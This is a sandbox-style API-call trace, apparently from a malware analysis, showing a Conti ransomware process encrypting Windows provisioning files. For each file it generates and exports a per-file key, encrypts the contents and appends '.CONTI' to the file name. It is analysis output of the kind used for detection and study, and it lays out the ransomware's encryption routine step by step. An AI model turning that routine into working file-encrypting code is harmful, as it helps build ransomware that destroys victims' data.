	[0111.555] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572eb0 | out: hHeap=0x1720000) returned 1
	[0111.555] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0111.555] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17f6918 | out: phKey=0x17f6918*=0x17c8570) returned 1
	[0111.555] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f691c, pdwDataLen=0x497fc1c | out: pbData=0x17f691c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0111.556] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0111.556] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0111.557] GetLastError () returned 0x0
	[0111.557] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=476) returned 1
	[0111.557] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1dc
	[0111.557] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.557] SetEndOfFile (hFile=0x3a8) returned 1
	[0111.560] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.560] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.560] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f691c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17f691c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.562] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.562] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1dc, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1dc, lpOverlapped=0x0) returned 1
	[0111.562] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1dc, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1e0) returned 1
	[0111.562] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.562] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.563] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.563] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17f6910*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0111.563] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.563] CloseHandle (hObject=0x3a8) returned 1
	[0111.563] GetProcessHeap () returned 0x1720000
	[0111.563] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.563] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.563] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.563] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\405__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.567] GetProcessHeap () returned 0x1720000
	[0111.567] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.567] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.567] GetProcessHeap () returned 0x1720000
	[0111.567] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80998 | out: hHeap=0x1720000) returned 1
	[0111.567] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0111.567] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17f6488 | out: phKey=0x17f6488*=0x17c8570) returned 1
	[0111.567] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f648c, pdwDataLen=0x497fc1c | out: pbData=0x17f648c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0111.568] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.568] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0111.569] GetLastError () returned 0x0
	[0111.569] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=840) returned 1
	[0111.569] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x348
	[0111.569] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.569] SetEndOfFile (hFile=0x3a8) returned 1
	[0111.569] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.569] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.569] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f648c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17f648c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.571] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.571] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x348, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x348, lpOverlapped=0x0) returned 1
	[0111.571] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x348, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x350) returned 1
	[0111.571] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.571] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x350, lpOverlapped=0x0) returned 1
	[0111.572] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.572] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f6480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17f6480*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0111.572] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.572] CloseHandle (hObject=0x3a8) returned 1
	[0111.572] GetProcessHeap () returned 0x1720000
	[0111.572] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.572] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml"
	[0111.572] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.572] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\406__connections_cellular_orange (spain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.573] GetProcessHeap () returned 0x1720000
	[0111.573] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.573] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.573] GetProcessHeap () returned 0x1720000
	[0111.573] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65738f0 | out: hHeap=0x1720000) returned 1
	[0111.573] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0111.573] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17f6da8 | out: phKey=0x17f6da8*=0x17c8570) returned 1
	[0111.573] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f6dac, pdwDataLen=0x497fc1c | out: pbData=0x17f6dac*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0111.574] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.574] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0111.574] GetLastError () returned 0x0
	[0111.574] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=714) returned 1
	[0111.574] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0111.574] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.574] SetEndOfFile (hFile=0x3a8) returned 1
	[0111.575] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.575] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.575] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f6dac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17f6dac*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.578] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.578] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2ca, lpOverlapped=0x0) returned 1
	[0111.578] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2ca, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2d0) returned 1
	[0111.579] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.579] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.579] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.579] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f6da0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17f6da0*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0111.579] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.579] CloseHandle (hObject=0x3a8) returned 1
	[0111.579] GetProcessHeap () returned 0x1720000
	[0111.579] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.579] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml"
	[0111.579] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.579] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\407__connections_cellular_telefonica (spain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.580] GetProcessHeap () returned 0x1720000
	[0111.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.580] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.580] GetProcessHeap () returned 0x1720000
	[0111.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572848 | out: hHeap=0x1720000) returned 1
	[0111.580] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0111.580] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17f7b58 | out: phKey=0x17f7b58*=0x17c8570) returned 1
	[0111.580] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f7b5c, pdwDataLen=0x497fc1c | out: pbData=0x17f7b5c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0111.581] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.581] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0111.581] GetLastError () returned 0x0
	[0111.581] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=854) returned 1
	[0111.581] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x356
	[0111.581] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.581] SetEndOfFile (hFile=0x3a8) returned 1
	[0111.581] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.582] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.582] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f7b5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17f7b5c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.585] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.585] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x356, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x356, lpOverlapped=0x0) returned 1
	[0111.585] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x356, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x360) returned 1
	[0111.585] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.585] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x360, lpOverlapped=0x0) returned 1
	[0111.585] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.585] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f7b50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17f7b50*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0111.585] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.585] CloseHandle (hObject=0x3a8) returned 1
	[0111.585] GetProcessHeap () returned 0x1720000
	[0111.585] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
